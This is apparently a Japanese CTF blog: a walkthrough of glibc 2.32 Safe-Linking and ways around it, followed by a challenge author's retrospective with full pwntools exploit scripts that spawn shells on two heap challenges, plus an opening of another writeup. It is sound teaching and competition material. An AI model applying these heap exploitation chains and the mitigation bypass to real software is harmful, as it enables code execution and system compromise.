今回のアップデートでは、malloc/freeに Safe Linking というものが追加されます(多分。知らんけど)。かつて2005年のglibc2.3.6において実装された Safe-Unlinking を彷彿とさせる忌々しい名前ですね。本エントリでは、この Safe Linking を概観してみようと思います。それと同時に、Safe-Linkingのbypass方法についても概観し、ほんの少しだけ触れてみようと思います。
尚、この先触れる内容は実は前々から実装されていたかもしれませんが、自分が気づいた時其れ即ち実装された時ということで、悪しからず。
2: Safe-Linking 概観
Safe-Linkingは、2020年8月1日リリースのGlibc 2.32においてリリースが予定され既にmasterブランチに乗っている、heap exploitationに対するmitigationのことである
設計者によると、以下の3つの攻撃に対して防衛的役割を果たすとされている
Our solution protects against 3 common attacks regularly used in modern day exploits:
Partial pointer override: Modifying the lower bytes of the pointer (Little Endian).
Full pointer override: Hijacking the pointer to a chosen arbitrary location.
Unaligned chunks: Pointing the list to an unaligned address.
( 参考【A】)
まずは、実際に Safe-Linking が実装されているglibcでバイナリを動かしたときのheapの様子を見てみることにする
#include<stdio.h>#include<stdlib.h> #include<string.h> int main(void) { char *a = malloc(0x20); char *b = malloc(0x20); char *c = malloc(0x20); char *d = malloc(0x20); free(a); free(b); free(c); return 0; }
これをfreeの直前まで動かした後のheapが以下のようになる。
chunk A,B,C の順にmalloc()されており、A,B,Cのbkはkey ( > libc 2.29) であるから &tcache が入っているのは言するに値しないだろう
それはいいとして、注目すべきはABCのfdである
heap addrのように見えるけど、なんかよくわからん値が入っていることが見て取れる
これのおかげで、binコマンドによってtcacheのリストを見ようとすると以下のようになる
pwndbgが2.32に対応していないため、linked listが崩壊していることが分かる
また、CのfdのLSBを0x00に書き換えてtcache dupを行おうとすると以下のようになる
pwndbg> set {char}0x555555559300 = 0x00 pwndbg> c
malloc(): unaligned tcache chunk detected というエラーが出てabortしていることが分かる
これにより、少なくとも従来のUAFによるLSB書き換えでのtcache dupはSafe-Linkingによって失敗するということがわかるであろう(後述するが、厳密には「失敗する」よりも「失敗する確率が上がる」の方が正しい)
以下で、その実装を見ていくことにする
3: Safe-Linkingの実装とその仕組み
実装
まずは tcache_put() の実装を以下に示す。
( 左の行数はオレンジ表示が絶対行数、その他が相対行数を表している)
+12行目において PROTECT_PTR というマクロに free されたchunkのアドレスとtcacheに繋がっている最初のbinのアドレスが渡され、その結果がnextに入っていることが分かる
PROTECT_PTRは以下のように定義される
見ての通り、freeしたchunkのアドレスを12bit右シフトした値と 従来のnextに入るアドレス のxorを返している
REVEAL_PTRマクロは後ほど出てくるが、xorをするという性質上PROTECT_PTRを使いまわしている
深い話は後にして、_int_malloc()/ _int_free() を眺める
以下に _int_free() の実装の一部を示す。
変更点は、e->key==tcache だった場合の全探索においてリストを辿る際の for ループにおいて REVEAL_PTR を使っていることくらいである
これは、PROTECT_PTR によって加工した値からもとのアドレスを取り出す操作である
_int_malloc() の変更点はこんな感じ
fastbin関係においても tcache と同様に REVEAL_PTR が使用されていることが分かる
但し今回はtcacheについて見たいため、tcache_get() の実装を以下に示す
aligned_OK(e) というマクロを呼び、チェックに失敗すると先程まさに現れたエラーメッセージが表示されるようになっている
それでは aligned_OK は(名前から推測こそできるものの)何をしているかというと以下のようになっている
単純に与えられたポインタと MALLOC_ALIGN_MASK(==15)の論理積がゼロかを判断している。これは、与えられたアドレス p が 0x10 align されているかどうかを判断しているに他ならない
さてここまでで大凡の仕組みは推測できるだろうが、以下で設計者の言葉(参考【A】)も借りながら仕組みを総まとめする
仕組み
Safe-Linking は 単方向リストのポインタを加工することで、先にあげたようなポインタの書き換えによる攻撃を回避しようとする
この加工は、_int_free() 時に PROTECT_PTR マクロによって行われる
このマクロがそのchunkのアドレスと本来next(fd)に書き込むはずの値の xor を生成することは、先に見たとおりである
先程の例を再掲する
上から順に chunk A,B,C,D とし、 ABCはこの順に free されてtcacheに入っている
例えばAまでfreeし、次にBをfreeする際のことを考えてみる
このとき、従来ならば B(0x5555555592d0) のfdにはAのアドレスである 0x5555555592a0 が入るはずである
しかし今回の修正により、 PROTECT_PTR(0x5555555592d0, 0x5555555592a0) が呼ばれることになった
この内部では、((((size_t) pos) >> 12) ^ ((size_t) ptr))) という式すなわち 0x5555555592d0>>12 ^ 0x5555555592a0 によって、0x55500000c7f9という値が生成される
これはまさしく B の next に入っている値と同一である
それでは tcache のリンクを参照する際、すなわち tcache に複数のchunkが繋がった状態で malloc() を呼び、tcache に対して 次のchunkのアドレスを書き込みたいという場合にはどうしているのだろうか
つい先程見たように、Cをmalloc()で取り出した後 B の next には PROTECT_PTR によって加工された値が入っているため、tcacheに直接書き込むわけには行かない (そうしてしまうと、最早もとのアドレスを復元することは不可能になってしまう、復号に必要なのは加工された値とそのアドレスの2点なのだから)
そこで、tcache_get() で見たように REVEAL_PTR マクロによってもとのnextの値を復元している
PROTECT_PTRでは所詮2つの値を xor していただけだったから、復号もxorを行うだけで可能である (そして実際に REVEAL_PTR の内部では PROTECT_PTR を呼んでいる)
そのようにして復元した値をtcacheに書き込むのである
ここで最も重要なのは、「攻撃者は『攻撃の初期の段階においては』heapのアドレスを知らない」という事実である
これは、言わずもがなASLR有効の場合にはアドレス空間は下位3nibbleを除いてランダマイズされるからである
先程 PROTECT_PTR で わざわざ chunk のアドレスを 12bit 分シフトさせていたのは、固定値の3nibbleではなくランダマイズされたアドレス部を用いるためであった
この事実と、「もとのnextを復元するためには加工をした結果の値とそのchunkのheap上の値が必要である」という2つの事実を組み合わせることで、「攻撃者は初期の段階でもとのnextの値を知ることができない」という結論が導かれる
それでは、nextのもとの値のを知ることができないという事実を用いて如何にしてlinear overflowを検知するのかというと、ここで登場するのが先程の aligned_OK マクロである
このマクロは REVEALED_PTRによって復元したnextの値が0x10 aligneされているかどうかを確認する
よって、linear overflow等でnextを書き換える際に、下1nibble分を適切に書き換えてやらないと、この aligned_OK マクロで殺されることになる
.
..
...
そう、おそらく気づいたと思うが
この mitigation は 15/16の確率でしか攻撃を検知できない
overwriteした1nibbleがたまたま正確な値だった場合、エラーを検知できず書き換えられた値をもとにして REVEAL_PTR されたアドレスを next として認識してしまうことになるのだ
これが本エントリの冒頭でexploitを防ぐものではなく、失敗する確率を上げるものであると言った理由である
設計者の言葉を借りるなら、raise the bar らしい
というわけで、Safe-Linkingの実装と仕組みを概観してきた
上では tcache について見てきたが、この実装は一般の単方向リストに適用できるものであり、fastbin にも Safe-Linkingが適用されている
単純なtcache dup、とりわけよく知られた 0x7F テク等はこれで難しくなる
尚、この実装はASLRの生成する3nibble分のエントロピを利用したものであり、新たに実装されたコードは非常に少なくオーバーヘッドが小さい
参考【1】よりベンチマーク試験の結果を以下に示す
左が従来のmallocの実装、右がSafe-Linkingを実装したものであるが、その殆どで差異がないことがわかる
寧ろSafe-Linkingを実装したもののほうが高速に動作している項目も多いが、これは環境誤差であると考えられる。すなわち誤差が大きく影響するほどにはSafe-Linking実装によるオーバーヘッドは小さいということが見て取れる
4. House of io
Safe-LinkingのBypassについて、まずは House of io について触れておく
なんか突然Twitterで記事が流れてきた為読んでみた。詳しくは 参考【C】を参照
Safe-Linkingでは next/fd を不正に書き換えたまま2回 malloc() を行うとエラーが出るのは上に見たとおりである。そこで、この bypass 方法では tcache の key をleakした上で、tcacheに直接書き換えたいアドレスを書き込んでいる。tcacheに書き込まれるアドレス自体は PROTECT_PTR されていないため、もしこれができれば tcache_dupすることができる。
但し、事前に key の leak が必要なことに加えて、何よりAAWできないといけないことが、現実/CTFの問題においてはかなり厳しく、そもそもAAWが可能であるならばもっと他に色々とできそうな気がしていて、有効な手法なのかどうかは今の段階では疑わしい気がしている。
ということで、この手法について触れるのはここまでとする。
【追記:20200719】
@Awarau1 が House of io についてのブログのRemaster版を公開したと教えてくれた
今はまだ確認できていないが、あとで確認する。もしかしたら自分の解釈が間違っていて、凄く有効な方法なのかもしれない (参考【C-2】)
5. P' から Lの leak
以下に、PROTECT_PTR の仕組みの外観図を参考【A】より拝借して提示する。
ここで P は tcache の next に書き込まれるはずの本来のアドレス、L は PROTECT_PTR で加工に利用する chunk 自体のアドレス、P' は LとPから PROTECT_PTR によって生成される値である
ここで、free したあとの tcache にたいして 8byte のみ read が可能であるという状況を想定し、「P'からLを復元したい」とする。以下に先程の例を再掲する。
まず、全てのchunkに対してUAF(read)が可能であるならば、Lの値は単にtcacheの先端のchunkのnextを読むだけである。上の例においては A を最初に free しているため tcache の先頭に繋がっているが、AのnextにはLがそのまま格納されていることが見て取れる。
次に、BのP'のみがreadできたとする。このとき、Lはheapのアドレスを12bitシフトしているため、Pと比較して上位3nibbleが全て0になっている。すなわち、P'の上位3nibbleはそのままLの値であることがわかる。更に、Pの続く2nibbleは今leakしたLの上位2nibbleとxorしているため、これも直ちに計算によって求めることができる。この作業を繰り返すことによって、Pのみの情報からLをleakすることが可能である。Lをleakすることができたということは(狭い文脈においては) heap のアドレスを完全に掌握できたことになるため、あとは通常通りのoverwriteを PROTECT_PTR と同じ計算を施してから行えば tcache dup が可能ということになる。(勿論 key は適宜書き換える必要があるが、これは1byteでも書き換えれば可能である。)
このように、対象chunkが同一ページ内に配置され、且つその中でのオフセットが既知/操作でき、8(or6)byteのleakが可能な場合においては、従来と全く変わらずに tcache dup が可能になる。(但し全くreadができない状況において next の下1byteだけを書き換えて循環tcacheを作るといったことは難しい)
上の画像でBのP'=0x000055500000C7F9のみから L=0x555555559 が復元できることを以下のスクリプトで確かめられる。
Pd = int(raw_input("P': "),16) L = Pd >> 36 for i in range(3): temp = (Pd >> (36-(i+1)*8)) & 0xff element = ((L>>4) ^ temp) & 0xff L = (L<<8) + element print("L : "+hex(L))
6. Further Attack
参考【B】に、1byteのoverflowで P' をleakし L を計算して、任意の値を再び加工してoverwriteするPoCが置いてある
やっていることは、普通に consolidation を使って overlapping chunk を作り、生じたUAFで P' をleakするだけなので、特に目新しいことはしていないようである
House of io でもそうだったが、今のところは P' を leak することで通常通り overwrite をするという方法が一般的らしい
7. アウトロ
設計者は36C3 CTFをやっている最中にコレを思いついたらしいです
俺がOnetimePadをなんとか殺している間に、設計者はpwnerを殺そうとしていたのか...
今回潰された/難しくされた脆弱性もそうですが、Intel CETが秋に出るとかどうとかという噂もあって、なんやかんや長い間放置されてきた脆弱性が消えていくのは、悲しいね
因みにこの話をTSG slackでしたところ、物理こそ最強であり、爆破こそ至高という結論に至りました
怖い人たちですね、僕は違いますが。
まぁ結局はどんどん新しいexploitが見つけられ、過去のexploit達は忘れられていくのでしょう
pwner達は血も涙もない薄情糞野郎ばかりですから
続く...
(三浦春馬さんのご冥福を心よりお祈りします)
【pwn 31.0】 TSGCTF 2020 作問反省
TSG CTF / House of Corrosion / heap feng shui / ごめんね
- 0: イントロ
- 1: RACHELL: 7solves 322pts
- 2: Violence Fixer: 13solves 241pts
- 3: Karte: 6solves 341pts
- 4: 全体
- 5: アウトロ
0: イントロ
いつぞや開催された TSGCTF 2020 において、pwn問題を2問作問し、1問共作しました。結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、ここに雑に反省を置いておきます。
1: RACHELL: 7solves 322pts
問題概要
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
バイナリサイズが大きいためCソースを添付しています。 超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。 ただし cat コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します。
unsigned char ascii_check(const char *name, unsigned int size) { char c; for(int ix=0;ix!=size;++ix){ c = name[ix]; if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.') continue; return 0; } return 1; }
パス名の表示以外に、定数値以外を出力する箇所は一切ありません。
非想定解
House of Corrosion を出題したいがためだけに作った問題です。
FILE structureの _IO_write_ptr の書き換えによってleakがされないようにprintf()等でストリームは全く使わないようにしていたり、ascii_check()で出力を検査していたのは、とにかく leakless を目指していたためでした。
しかし、pwd 関数に於いて唯一出力の ascii_check() を行うのをし忘れており、ここから leak が可能であったようです。
一度leakさえできてしまえば、double free も UAF もし放題な問題ゆえ、簡単に解けてしまうという非想定解がありました。
そもそもに、pwd() に ascii_check() を入れていたとしても、上のチェックではゆるいところがあり結局何かしらを何かしらの方法でleakされていたのではないかと思います。
一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て **CENSORED** のように定数値で統一すべきでした。こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。
なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。
想定のバグ
折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります。
- node(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、nodeのfree()は行われますが、親ノードから該当子ノードが削除されません。親に繋がってる子ノードの削除は問答無用で行われるため、double free/UAFが可能です。
- ファイルへの書き込み(echo)を行う際に、readn()関数ではなく以下のように読み込んでいます。これによって、任意サイズのmalloc()を行いつつも、実際に書き込むのは"\r"までという操作ができるため、exploitが簡単になります。
if(target->buf == NULL){ target->buf = malloc(size); // find newline for(int ix=0; ix!=size; ++ix){ if(content[ix] == '\r'){ size = ix; break; } } memcpy(target->buf,content,size); target->size = size; }else{
- バグではありませんが、エラー発生時に呼ばれるpanic()関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosionを使ってほしいという匂わせです。
void panic(void) { write(1,"exit...\n",7); while(true) sleep(100); }
想定解
想定では完全なるleaklessだったため、House of Corrosionでleakすることなくシェルを開くというものでした。しかし、おそらくleaklessで解いた人はゼロ人だと思います。
なおこの方法で解く際には、echoをする前に必要なノードを予めtouchして準備しておかないとexploitが難しくなるなど、結構準備が手間です。
#!/usr/bin/env python #encoding: utf-8; # TOTAL ENTROPY IS 4-bit+x(x<4) # TRY SOME TIMES from pwn import * import sys import time FILENAME = "../dist/rachell" LIBCNAME = "../dist/libc.so.6" hosts = ("ニッコニッコニー","localhost","localhost") ports = (25252,12300,25252) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(command): c.recvuntil("command> ") c.sendline(command) def ls(dir="."): hoge("ls") c.recvuntil("path> ") c.sendline(dir) # current dir only def touch(name): hoge("touch") c.recvuntil("filename> ") c.sendline(name) def echo(path,content): if "\n" in content: raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?") hoge("echo") c.recvuntil("arg> ") c.sendline(content) c.recvuntil("redirect?> ") c.sendline("Y") c.recvuntil("path> ") c.sendline(path) if "invalid" in c.recvline(): raw_input("error detected @ echo()") exit() def rm(path): hoge("rm") c.recvuntil("filename> ") c.sendline(path) if "no" in c.recvline(): raw_input("error detected @ rm()") exit() # relative only def cd(path): hoge("cd") c.recvuntil("path> ") c.sendline(path) # current dir only def mkdir(name): hoge("mkdir") c.recvuntil("name") c.sendline(name) def te(filename,content): touch(filename) echo(filename,content) def formula(delta): return delta*2 + 0x20 ## exploit ########################################### def exploit(): global c repeat_flag = False # calc ############################################## gmf = 0xc940 bufend_s = formula(0xa70 - 0x8) stderralloc_s = formula(0xb08) dumpedend_s = formula(0x1ce0) pedantic_s = formula(0x1cf8 - 0x8) stderrmode_s = formula(0xaf0 - 0x8) stderrflags_s = formula(0xa30 - 0x8) stderrwriteptr_s = formula(0xa58 - 0x8) stderrbufbase_s = formula(0xa68 - 0x8) stderrvtable_s = formula(0xa68 + 0xa0 - 0x8) stdoutmode_s = formula(0xbd0 - 0x8) morecore_s = formula(0x880) stderrbufend_s = formula(0xa68) stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28) stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60) LSB_IO_str_jmps = 0x7360 LSBs_call_rax = 0x03d8 # call rax gadget. to be called @ _IO_str_overflow() ''' pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0 0x7f971f8a03d8 <systrim+200> 0x7f971f8a0657 <ptmalloc_init+631> 2 patterns found. ''' try: mkdir("test1") mkdir("test2") mkdir("test3") mkdir("test4") mkdir("test5") mkdir("test6") # info: test6 is used only for padding! for i in range(5): cd("./test"+str(i+2)) for j in range(0xe): touch(str(j+1)) cd("../") print("[+] pre-touched chunks") cd("./test1") touch("a") touch("k") touch("large") touch("b") touch("c") touch("LARGE") echo("a","A"*0x450) # for unsortedbin attack echo("k","k"*0x130) # just for padding echo("large","B"*0x450) echo("b","A"*0x450) # to overwrite LARGE's size !!! cd("../") rm("./test1/b") rm("./test1/large") cd("test1") echo("c","\r"*0x460) echo("LARGE","L"*0x460) # to cause error!!! touch("hoge") touch("hoge2") te("padding","K"*0x30) # JUST PADDING print("[+] prepared for later attack") # prepare for ADV3 part1 in test2 ########################## # get overlapped chunk. LSB_A1 = 0xd0 # chunk A's LSB adv3_size1 = bufend_s cd("../test2") echo("1","\r"*(0x50)) echo("2","2"*(0x20)) # A #raw_input("check A's LSB") echo("3","3"*(0x20)) # B echo("4","4"*(0x50)) cd("../") rm("./test2/1") rm("./test2/4") cd("test2") echo("4",p8(LSB_A1)) echo("5","5"*(0x50)) # tmp2 echo("6","6"*(0x50)) # tmp1 overlapping on A echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1)) # prepare fakesize echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10)) #raw_input("check overlap") print("[+] create overlapped chunks for ADV3 part1") cd("../") # prepare for ADV3 part2 in test3 ########################## # padding cd("./test6/") echo("1",p64(0x31)*0x10) # get overlapped chunk. LSB_A2 = 0xa0 # chunk A's LSB adv3_size2 = stderralloc_s cd("../test3") echo("1","\r"*(0x50)) echo("2","2"*(0x20)) # A #raw_input("check A's LSB") echo("3","3"*(0x20)) # B echo("4","4"*(0x50)) cd("../") rm("./test3/1") rm("./test3/4") cd("test3") echo("4",p8(LSB_A2)) echo("5","5"*(0x50)) # tmp2 echo("6","6"*(0x50)) # tmp1 overlapping on A echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1)) # prepare fakesize echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10)) #raw_input("check overlap") print("[+] create overlapped chunks for ADV3 part2") cd("../") # Allocate chunks for ADV2 ################################# cd("./test4") print("[ ] dumpedend_s: "+hex(dumpedend_s)) echo("1","B"*dumpedend_s) echo("2","B"*pedantic_s) echo("3","B"*stderrmode_s) echo("4","B"*stderrflags_s) echo("5","B"*stderrwriteptr_s) echo("6","B"*stderrbufbase_s) echo("7","B"*stderrvtable_s) echo("8","B"*stdoutmode_s) print("[+] create some chunks for ADV2") cd("../") # Connect to largebin and set NON_MAINARENA to 1 ###### rm("./test1/LARGE") cd("./test6") # connect to largebin echo("2","\r"*0x600) cd("../test1") echo("b",p64(0)+p64(0x460|0b101)) # set NON_MAIN_ARENA cd("../") print("[+] connected to large and set NON_MAIN_ARENA") # Unsortedbin Attack ################################### rm("test1/a") cd("./test1") echo("a",p64(0)+p16(gmf-0x10)) echo("hoge","G"*0x450) # unsortedbin attack toward gmf cd("../") print("[!] Unsortedbin attack success??(4-bit entropy)") # Make unsortedbin's bk valid ######################## rm("./test4/1") cd("test4") echo("1",p64(0x460)) cd("../test5") echo("1","\r"*dumpedend_s) rm("../test4/2") cd("../") print("[*] made unsortedbin's bk valid") # Overwrite FILE of stderr ########################## # stderr_mode / 1 rm("./test4/3") cd("./test4") echo("3",p64(0x1)) cd("../test5") echo("2","\r"*stderrmode_s) cd("../") print("[1/5] overwrite FILE of stderr") # stdout_mode / 1 rm("./test4/8") cd("./test4") echo("8",p64(0x1)) cd("../test5") echo("3","\r"*stdoutmode_s) cd("../") print("[2/5] overwrite FILE of stderr") # stderr_flags / 0 rm("./test4/4") # NO NEED IN THIS CASE... cd("./test4") echo("4",p64(0x0)) cd("../test5") echo("4","\r"*stderrflags_s) cd("../") print("[3/5] overwrite FILE of stderr") # stderr_IO_write_ptr / 0x7fffffffffffffff rm("./test4/5") cd("./test4") echo("5",p64(0x7fffffffffffffff)) cd("../test5") echo("5","\r"*stderrwriteptr_s) cd("../") print("[4/5] overwrite FILE of stderr") # stderr_IO_buf_base / offset of default_morecore_onegadget off_default_morecore_one = 0x4becb rm("./test4/6") cd("./test4") echo("6",p64(off_default_morecore_one)) cd("../test5") echo("6","\r"*stderrbufbase_s) cd("../") print("[5/5] overwrite FILE of stderr") # Transplant __morecore value to stderr->file._IO_buf_end ######## cd("../") rm("./test2/2") # TODO: 2/3逆じゃね??? rm("./test2/3") # connect to tcache cd("test2") echo("2",p8(LSB_A1)) cd("../test6") echo("3","\r"*stderrbufend_s) cd("../test2") echo("6",p64(0)+p64(0x10 + morecore_s|1)) cd("../") rm("./test2/2") cd("./test2/") echo("6",p64(0)+p64(0x10 + stderrbufend_s|1)) cd("../test6") echo("4","\r"*stderrbufend_s) cd("../test2") echo("6",p64(0)+p64(0x10 + morecore_s|1)) cd("../test6") echo("5","\r"*morecore_s) print("[+]overwrite stderr->file.IO_buf_end") # Partial Transplantation: stderr->file.vtable into _IO_str_jumps cd("../") rm("./test4/7") cd("./test4") echo("7",p16(LSB_IO_str_jmps - 0x20)) # 0-bit uncertainity after success of unsortedbin attack (before, 4bit) cd("../test6") echo("6","\r"*stderrvtable_s) print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20") # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ########### cd("../") rm("./test3/3") rm("./test3/2") # connect to tcache cd("test3") echo("2",p8(LSB_A2)) cd("../test6") echo("7","\r"*stderralloc_s) cd("../test3") echo("6",p64(0)+p64(0x10 + morecore_s|1)) cd("../") rm("./test3/2") cd("./test3/") echo("6",p64(0)+p64(0x10 + stderralloc_s|1)) echo("2",p16(LSBs_call_rax)) # HAVE 4-BIT UNCERTAINITY !!! cd("../test6") echo("8","\r"*stderralloc_s) print("[ ] morecore_s: "+hex(morecore_s)) # invoke and get a shell!!! c.recvuntil("command> ") c.sendline("echo") c.recvuntil("arg> ") c.sendline("\r"*0x50) c.recvuntil("?> ") c.sendline("Y") c.recvuntil("> ") c.sendline("9") print("[!] Got shell???") return True except EOFError: print("[-] EOFError") c.close() return False ## main ############################################## # check success rate by 'python2 ./exploit.py r bench' # solvable-check by python2 ./exploit.py r if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v": try_count = 0 total_try = 0 total_success = 0 start_time = time.time() init_time = time.time() while True: lap_time = time.time() try_count += 1 print("**** {} st try ****".format(hex(try_count))) if sys.argv[1][0] == "r": c = remote(rhp1["host"],rhp1["port"]) else: c = remote(rhp3["host"],rhp3["port"]) if exploit()==False: print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time)) continue else: print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time)) if len(sys.argv) > 2 : # check success rate print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1))) total_try += try_count try_count = 0 total_success += 1 start_time = time.time() if total_success >= 0x10: print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time)) exit() else: continue else: c.interactive() exit() else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
この場合にはexploitは4bitのエントロピーを持ち、およそ14回に1回成功します。
2: Violence Fixer: 13solves 241pts
問題概要
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
もともとbeginner問として出題する予定で作りましたが、燃えそうなのでeasy問にしました。
偽のヒープマネージャがheapの情報を記憶し、それに基づいてsizeなりを勝手に上書きしてしまいます。 しかしこいつがかなりガバガバで、容易に実際のheapとのズレが生じます。
但しbeg問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。
想定解
色々とありそうではありますが、上で説明したズレを利用して、雑にlibcbaseをleakしてfree_hook overwriteで終了です。
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys import time FILENAME = "../dist/violence-fixer" LIBCNAME = "../dist/libc.so.6" hosts = ("test","localhost","localhost") ports = (32112,12300,32112) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(ix): c.recvuntil("> ") c.sendline(str(ix)) def alloc(size,content): hoge(1) c.recvuntil("size: ") c.sendline(str(size)) c.recvuntil("content: ") c.send(content) def show(index): hoge(2) c.recvuntil("index: ") c.sendline(str(index)) def free(index): hoge(3) c.recvuntil("index: ") c.sendline(str(index)) def get_value(index): hoge(4) for i in range(index): c.recvuntil("INUSE") c.recvuntil("INUSE\n ") return c.recv(8) def delegate(size,content): hoge(0) c.recvuntil("> ") c.sendline('y') c.recvuntil("size: ") c.sendline(str(size)) c.recvuntil("content: ") c.send(content) ## exploit ########################################### def exploit(): global c c.recvuntil("?: ") c.sendline("y") # prepare alloc(0x200,"1"*0x30) alloc(0x200,"2"*0x30) alloc(0x200,"3"*0x30) alloc(0x200,"4"*0x30) alloc(0xa0,"5"*0x30) alloc(0x200,"4"*0x30) alloc(0x1e0,"4"*0x30) alloc(0x1e0,"4"*0x30) # TARGET alloc(0x1e0,"5"*0x30) alloc(0x1e0,p64(0x21)*(0x1e0//8)) alloc(0x1e0,"7"*0x10) alloc(0xc0,"8"*0x10) alloc(0x10,"9"*0x10) # leak libcbase free(1) free(2) free(3) free(4) free(5) alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481)) free(7) for i in range(4): alloc(0x10,p8(1)) alloc(0x160,"A"*0x160) show(7) c.recvuntil("A"*0x160) libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0 print("[+]libcbase: "+hex(libcbase)) # tcache duplicate alloc(0x1f0,p8(0)) alloc(0x80,p8(0)) alloc(0x60,"1"*0x8) alloc(0x50,"/bin/sh;\x00") alloc(0x50,"3"*0x8) alloc(0x20,"4"*0x8) alloc(0x20,"5"*0x8) alloc(0x20,"6"*0x8) alloc(0x20,"7"*0x8) # free(0xf) free(0x13) free(0x15) alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"])) alloc(0x20,p8(0)) delegate(0x20,p64(libcbase+libc.symbols["system"])) free(0x10) return ## main ############################################## if __name__ == "__main__": global c start_time = time.time() if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time)) c.interactive()
3: Karte: 6solves 341pts
moraさんと一緒に作った問題です。PoCはmoraさんのgistにあります。
https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59
libc2.31で動いているので、いい感じにいい感じします。
4: 全体
セルフレビューが甘々でした。また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。
beginner問は、SECCONでかなり好評のものが出たので、今後beginner問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。
(但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んでpico/xyzをやるべきだとは思います)
また、問題セットが若干偏っていた感じがあります。pwnはbeg*1, heap*3, 言語問*1, その他*1でした。kernel問を入れて、heap問を1問退場させればもうちょいいい感じになったんじゃないかと思います。
時間的には、pwnに関して言うと24hで十分だったんじゃないかと思います。事実、トップチームは最初の12h以内にpwnを全完して暇そうだったので。miscが多い感もあったと思いますが、今日は随分晴れています。
一番の反省点は、自分自身がそもそもにpwn雑魚なのに作問なんかしようと思い上がったことですね。
pwn雑魚が作った問題は、例外なくクソ問になります。問題を作るのならば、まずは自分自身がいい加減beginnerレベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。
時間を見つけて、pwnを勉強しつつ問題を作り溜めていこうと思います。
5: アウトロ
反省点ばかりでした。少しでもboringに感じた方はすいませんでした。勉強しときます。
続く...
【pwn 30.0】zh3r0 CTF 2020 - writeup
7: イントロ
最近レポートに殺されていた(同時にレポートを殺していた)ためCTFに参加できていなかったが
夜11時にふと思い立って適当に今建っている野良CTFに参加することにした
参加したのは zh3r0 CTF 2020 (インドのCTF?)
やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う
